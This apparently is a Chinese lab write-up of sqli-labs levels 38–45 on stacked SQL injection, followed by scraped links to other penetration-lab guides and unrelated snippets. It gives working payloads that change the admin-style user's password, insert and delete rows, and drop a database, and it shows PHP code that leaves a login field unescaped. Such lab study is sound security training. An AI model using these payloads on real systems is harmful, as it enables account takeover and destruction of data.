sqli-labs 38-45

2023-10-27

第38关

堆叠注入:简单理解就是一条语句结束后再连接一条语句,这就叫堆叠注入。
举几个最简单的例子:

  • 查询数据并创建一个数据库:select * from users;creat database test;
  • 查询数据并删除一个数据库:select * from users;drop database test;
  • 查询数据并插入数据:select * from users;insert into users(id,username,password) values(‘id’,‘username’,‘password’);
  • 查询数据并更新数据:select * from users;update users set password=‘1111’ where username=‘admin’;
  • 查询数据并删除数据: select * from users;delete from users where id=___

依旧单引号闭合,发现报错,加上--+,正常回显,则闭合方式就为单引号
在这里插入图片描述
尝试堆叠注入修改密码(因为Dumb容易查询,所以就修他的值)

?id=1' ;update users set password='admin' where username='Dumb';--+

在这里插入图片描述
修改成功。

第39关

单引号,双引号,单引号加单括号都报错,可以判断为数字型注入,操作和上一关相同,先把密码改回来

?id=1' ;update users set password='Dumb' where username='Dumb';--+

在这里插入图片描述

第40关

寻找闭合方式,单引号报错,单引号加单括号也报错,在后面加上--+后,单引号加括号正常显示,则判断闭合方式为单引号加括号,操作仍相同,这里尝试插入一个数据。

?id=1;insert into users(id,username,password) values(16,'test','test');

在这里插入图片描述
查询是否插入成功
在这里插入图片描述

第41关

单引号,单引号加单括号,双引号闭合都没有回显,说明为数字型注入,这里尝试删除刚刚加入的数据。

?id=1 ;delete from users where id=16;

在这里插入图片描述
查询数据库发现已经被删除
在这里插入图片描述

第42关

直接尝试用堆叠注入,在用户名输入admin';insert into users(id,username,password) values(16,'123','123');来创建一个数据库,密码admin,登陆失败,查看数据库发现创建失败,这里先看看源代码。

  $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
  $password = $_POST["login_password"];

发现对用户名进行了转义过滤,但密码处没有任何过滤,尝试再密码处创建数据库,这里我们可以小小的设置一下,这样就能看到我们输入的语句了
在这里插入图片描述尝试插入一条数据admin';insert into users(id,username,password) values(16,'123','123');

在这里插入图片描述
插入成功。既然登陆密码处没有过滤,并且有报错回显,那这里可以尝试报错注入,抓包测试,不然有亿点麻烦
在这里插入图片描述

第43关

密码处单引号报错,通过报错信息可以看出闭合方式为'),插入一条数据

admin');insert into users(id,username,password) values(16,'123','123');

,其余步骤与42相同

插入成功。

第44关

单引号闭合后登陆,发现没有报错。其实本关与42关不同就在于没有报错,这也意味着我们不能使用报错注入,但仍能使用堆叠注入,这里我们尝试删除43关插入的数据。

admin';delete from users where id=16;

在这里插入图片描述

第45关

寻找闭合方式,因为没有报错只能堆叠注入然后查看结果,最后发现闭合方式为单引号加单括号,这里也是插入了一条数据

admin');insert into users(id,username,password) values(45,'123','123');

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sqli-labs 38-45 的相关文章

  • DVWA通关攻略零到一【全】

    概述 DVWA Damn Vulnerable Web Application 一个用来进行安全脆弱性鉴定的PHP MySQL Web 应用 旨在为安全专业人员测试自己的专业技能和工具提供合法的环境 帮助web开发者更好的理解web应用安全
  • DC8靶场练习

    目录 一 靶场信息 二 信息收集 三 渗透过程 四 提权 一 靶场信息 二 信息收集 1 确定目标IP 2 扫描端口 3 漏洞扫描 三 渗透过程 访问网站页面 思路 当点击该页面的 welcome to DC8 字样时 发现上面的url变化
  • Tomcat 弱口令 && 后台getshell漏洞

    漏洞编号 VUL 2021040008 爆发时间 2018 10 10 漏洞简介 Tomcat支持在后台部署war文件 可以直接将webshell部署到web目录下 其中 欲访问后台 需要对应用户有相应权限 影响版本 Tomcat8 x T
  • [春秋云镜]CVE-2021-41402

    声明 中所涉及的技术 思路和 具仅供以安全为 的的学习交流使 任何 不得将其 于 法 途以及盈利等 的 否则后果 承担 所有渗透都需获取授权 靶场介绍 flatCore CMS v2 0 8 存在后台任意代码执行漏洞 春秋云镜开启靶场 ht
  • 【环境搭建】Docker上搭建sqli-labs漏洞环境

    目录 1 sqli labs简介 2 Docker搭建sqli labs 3 总结 参考文献 1 sqli labs简介 sq Ii labs是一款学习SQL注入的开源平台 共有75种不同类型的注入 官方介绍如下 SQLI LABS is
  • sqli-labs 38-45

    第38关 堆叠注入 简单理解就是一条语句结束后再连接一条语句 这就叫堆叠注入 举几个最简单的例子 查询数据并创建一个数据库 select from users creat database test 查询数据并删除一个数据库 select
  • [春秋云镜]CVE-2018-1000533

    声明 中所涉及的技术 思路和 具仅供以安全为 的的学习交流使 任何 不得将其 于 法 途以及盈利等 的 否则后果 承担 所有渗透都需获取授权 靶场介绍 gitlist是一款使用PHP开发的图形化git仓库查看工具 在其0 6 0版本中 存在
  • 红队渗透靶场之W1R3S靶场(超详细!)

    W1R3S考察知识 nmap的基本使用 目录爆破工具的使用 CMS漏洞的利用 Linux用户的简单提权 W1R3S靶场搭建 W1R3S靶场下载地址 https download vulnhub com w1r3s w1r3s v1 0 1
  • Vulhub漏洞靶场搭建和使用

    今天继续给大家介绍渗透测试相关知识 本文主要内容是Vulhub漏洞靶场搭建和使用 免责声明 本文所介绍的内容仅做学习交流使用 严禁利用文中技术进行非法行为 否则造成一切严重后果自负 再次强调 严禁对未授权设备进行渗透测试 一 Vulhub漏
  • 再战WebGoat之代码审计

    声明 好好学习 天天向上 回想首次接触webgoat已是两年前 当时可能连漏洞原理都不是很明白就开始上手靶场了 也是搜了很多文章 还用的word的方式写的草稿 惭愧惭愧 webgoat一直是我心中高质量的靶场 其实当时发布文章时 我就一直在
  • 文件上传漏洞靶场 upload-lab靶场

    需要工具 burpsuite 第一关 没有任何的过滤 接下来上传一个马 抓包上传改下后缀 访问
  • ATK&CK红队评估实战靶场(一)

    ATK CK红队评估实战靶场 一 的搭建和模拟攻击过程全过程 回到顶部 0x01 前言 本靶机环境是红日团队开源的一个红队实战测试环境 靶机下载地址如下 http vulnstack qiyuanxuetang net vuln detai
  • DVWA全等级通关教程(完结)

    Brute Force暴力破解 DVWA之Commend Injection 命令行注入 Cross Site Request Forgery CSRF 跨站请求伪造 File Inclusion 文件包含 File Upload 文件上传
  • XSS之xss-labs-level5

    文章目录 0x01 XSS Labs 0x02 实验工具 0x03 实验环境 0x04 实验步骤 0x05 实验分析 0x06 参考链接 0x01 XSS Labs XSS 跨站脚本攻击 是指恶意攻击者往Web页面里插入恶意Script代码
  • sqli靶场通关之less9

    sqli less9 时间盲注 结合burpsuite 1 不返回报错信息页面 无法进行基于报错信息的盲注 2 页面不存在true和false两种不同的页面 无法进行对比也就无法进行布尔盲注 一般来说 在页面没有任何回显和错误信息提示的时候
  • DVWA全级别详细通关教程

    目录 暴力破解 Brute Force low Medium High Impossible 命令注入 Command Injection low Medium High Impossible CSRF 跨站请求伪造 low Medium
  • 春秋云镜 CVE-2021-41947

    春秋云镜 CVE 2021 41947 Subrion CMS v4 2 1 存在sql注入 靶标介绍 Subrion CMS v4 2 1 存在sql注入 启动场景 漏洞利用 exp http localhost panel visual
  • 靶场vulnstack4内网渗透

    环境介绍 服务器 192 168 183 129 192 168 10 232 win7 192 168 183 131 DC 192 168 183 130 kali 192 168 10 182 1 拿webshell 对ubuntu的
  • sqil-labs LESS5报错注入通关教程

    Less 5 报错注入 id 1 页面有回显 第一步 判断注入类型是数字型还是字符型 id 1 出现报错为 1 LIMIT 0 1 可判断为字符型且为单引号闭合 报错里面有数字 第二 判断字段数 使用order by order by 3时
  • 【靶场】upload-labs Pass-02

    考纲 本pass在服务端对数据包的MIME进行检查 在右上角点击 查看提示 中看到 一 上一关 靶场 upload labs Pass 01 二 大马 介绍两款 php 大马 因为 一句话木马看不上 如果师傅有其他好用的 大马 还望师傅在评

随机推荐

  • Unity Android包体压缩

    查看资源文占用 在console窗口下点击 gt open editor log 打开的记事本内搜索 build report 能查看到对应的资源类型所占用的包体百分比 和打包后的文件文件大小 从大到小排列 查看某个类型的所有文件 在Pro
  • 注册Keil软件时出现TOOLS.INI_TOOLCHAIN NOT INSTALLED的解决办法

    问题描述 Keil软件注册好后 打开项目出现报错 Error Project 1 requires C51 Toolchain which is not installed 注册步骤 当我们在注册keil软件时选择ARM 注册成功后 打开项
  • 成功解决wget下载报错 : wget HTTP request sent, awaiting response... 403 Forbidden

    成功解决wget下载报错 wget HTTP request sent awaiting response 403 Forbidden 问题描述 解决方案 原理 什么是User Agent 解决 问题描述 2023 07 15 02 32
  • selenium+headless chrome爬虫

    python爬虫写起来非常快 虽然也可以用java 但是没有python来的简洁迅速 selenium在前面总结过 是一个自动化测试库 headless chrome是无界面的浏览器模式 和PHANTOMJS类似 但是PHANTOMJS往往
  • 更换linux内核的开机启动logo

    自定义内核启动logo 找的图片分辨率大小要低于屏幕的大小 1 sudo apt get install netpbm 先让ubuntu上网 2 pngtopnm logo png ppmquant fs 224 pnmtoplainpnm
  • Python实现socket——udp的传输与接收

    udp的传输与接收 windows网络调试助手下载 https pan baidu com s 1IwBWeAzGUO1A3sCWl20ssQ 提取码 68gr 一 基本用法 1 创建套接字 udp socket socket socket
  • 数据埋点(打点)

    常用名词 PV UV DAU 活跃率 次日留存 7日留存 14日留存 PV 页面访问量 UV 访客访问数 DAU 日活跃用户量 其中 活跃率 该事件DAU 该页面DAU 次日留存 第1日活跃的用户在第二日依旧出发该点 DAU 第1日 DAU
  • NPM、NVM、NRM使用方法简述

    NPM是随同NodeJS一起安装的包管理工具 在前端开发中 经常会使用到NPM进行包管理 1 nrm 因为一些大家都明白的原因 访问官方网站速度受限 因为可以使用国内的镜像 但有时也会切换回官方源 经常切来切去会比较麻烦 因此需要nrm 1
  • leetcode 241. 为运算表达式设计优先级(c++)

    思路分析 最初理解这道题目时 认为任意一个运算符号都有运算优先级 即使出现相同的运算符 那么按照该思路解答 即采用回溯的方法即可解答 如题解1所示 但提交之后会显示 在讨论区得知 题目的意思应该是括号的位置不同算一个答案 而不是计算顺序不同
  • 使用response下载没反应

    response reset File excelFile new File filePath 1 设置文件ContentType类型 这样设置 会自动判断下载文件类型 response setContentType application
  • 安装持续集成工具Jenkins

    Jenkins是一个流行的持续集成框架 可以在我们提交项目的时候自动测试 运行和部署项目 虽然Jenkins使用Java编写 但是由于Jenkins支持多种语言的项目 所以现在很多公司都是用Jenkins来进行项目的持续集成 下载和安装 L
  • 9.2 构造函数的初始化表

    构造函数有个特殊的初始化方式叫 初始化表达式表 简称初始化表 初始化表位于函数参数表之后 却在函数体 之前 这说明该表里的初始化工作发生在函数体内的任何代码被执行之前 构造函数初始化表的使用规则 如果类存在继承关系 派生类必须在其初始化表里
  • 解决es中termsQuery查询中文字段查不到

    精确匹配 如果要使用name中文查询 是查不出来的 要改成name keyword 如果是数字 可以不用加 keyword TermsQueryBuildertermQueryBuilder QueryBuilders termsQuery
  • Cannot find module ... or its corresponding type declarations.(ts2307)

    vue3 ts项目出现这样的编译提示 红色下划线 Cannot find module or its corresponding type declarations ts2307 解决方法 第一步 关闭vetor 禁用状态 第二步 下载插件
  • Spring 核心loC

    目录 1 loC是什么 1 1 改变之前的程序 1 2 修改后的代码 1 3 解决上述代码耦合问题 2 理解Spring 是一个loC 控制反转 容器 3 DI dependency injection 依赖注入 4 loC DI 总结及优
  • 单片机c语言中断程序实验报告,单片机实验之外部中断应用实验

    一 实验目的 1 掌握中断系统外部中断源的使用方法 2 掌握延时程序的编程及使用方法 3 掌握Proteus软件与Keil软件的使用方法 4 掌握单片机系统的硬件和软件设计方法 二 设计要求 1 用Proteus软件画出电路原理图 在单片机
  • 门级网表

    在电路设计中 网表 netlist 是用于描述电路元件相互之间连接关系的 一般来说是一个遵循某种比较简单的标记语法的文本文件 门级 gate level 指的是网表描述的电路综合级别 顾名思义 门级网表中 描述的电路元件基本是门 gate
  • git 将本地代码推送到远程仓库(核心常用)

    1 首先默认已经提前安装并且配置好git 2 选择要克隆或者保存的目标文件夹下 右键选择Git Bash Here 3 如果是将远端的项目拉取到本地 使用 git clone 命令 因为之前已经clone下来了 所以这次就不下载了 4 使用
  • Python教程:第2章(Python进阶)2.8-2.11

    文章目录 2 8 四大数据结构 2 8 1 单向队列 List 2 8 2 双向队列 Queue 2 8 3 栈 Stack 2 8 4 链表 Link 2 9 八大基础算法 2 9 0 算法复杂度 2 9 1 穷举算法 2 9 2 归纳
  • sqli-labs 38-45

    第38关 堆叠注入 简单理解就是一条语句结束后再连接一条语句 这就叫堆叠注入 举几个最简单的例子 查询数据并创建一个数据库 select from users creat database test 查询数据并删除一个数据库 select